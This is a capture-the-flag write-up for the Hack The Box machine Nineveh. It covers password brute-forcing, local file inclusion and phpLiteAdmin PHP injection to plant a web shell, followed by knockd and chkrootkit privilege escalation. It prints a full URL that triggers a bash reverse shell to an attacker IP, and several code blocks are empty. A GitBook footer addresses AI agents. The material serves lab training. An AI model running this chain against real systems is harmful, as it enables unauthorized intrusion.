> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-nineveh.md).
# HTB - Nineveh
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
```
### HTTP
Browsing to http port displays that the web server is running nothing interesting here.
directory enumeration revealed a interesting directory called department which on browsing reveals a login page.
the source code reveals usernames among which admin is a valid user.
all the common weak passwords do not work here.
i will get back to it later.
### HTTPS
directory enumeration on https port revealed path to index.php and a interesting directory called secure-notes.
Browsing to index,php reveals a login page for `phpliteadmin` and also reveals the version used.
also browsing to secure\_notes displays a image.
running the following command reveals that the image is embedded with sensitive info
```
strings nineveh.png
```
leaks the ssh keys but cannot use them as the ssh port is not open.
that said i guess the phpliteadmin could be the way
#### Cracking passwords using hydra
and the password is cracked by using hydra.
`admin : password123`
since the password cracked using hydra i will do the same process on the login page found earlier on department directory.
password is cracked too.
`admin : 1q2w3e4r5t`
clicking on notes reveals the below info
also one important thing here is that in the url notes parameter directly references the notes file which is a potential for LFI.
says no note is selected that means it requires a note to be selected.
poking around the LFI finally worked.
that said i cant do anything here yet let me shift focus on to the phpliteadmin.
phpliteadmin is vulnerable to authenticated phpcode injection.
An authenticated user can abuse the application to create a new database with a .php extension. By creating a table with a field containing arbitrary PHP code (e.g., ), the attacker can achieve remote code execution (RCE) by directly browsing to the newly created database file.
{% embed url="" %}
i will create a database called ninevehNotes.txt.php since it expects a notes file to be selected.
instead of php info i will put a web shell
```
```
i dont know how to access this so clicking on rename leaks the path.
that said i can use it to get reverse shell.
## Shell as www-data
```
http://10.129.90.144/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.52/4444+0%3E%261%27
```
upgrade the shell
```bash
www-data@nineveh:/var/www/html/department$ python3 -c 'import pty; pty.spawn("/bin/bash")'
give permissions.
port 22 is open and listening.
root is running knockd
#### Knockd
**Knockd** opens an SSH connection only if a specific knock sequence is initiated
i can read its config from below file
this says i can open ssh by running the sequence 571,290,911.
that said we need to run the command from our machine.
there is a report directory in the root and the report file contain regarding checks on files if they are infected or not.
that said i will check if root running any process that is generating those reports.
root is running a vulnscan script and also running chrootkit which can be sued to gain access as root.
[chkrootkit](http://www.chkrootkit.org/) is a tool that will check a host for for signs of a rootkit.
### Chkrootkit
{% embed url="" %}
in a minute we get reverse shell as root
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-nineveh.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
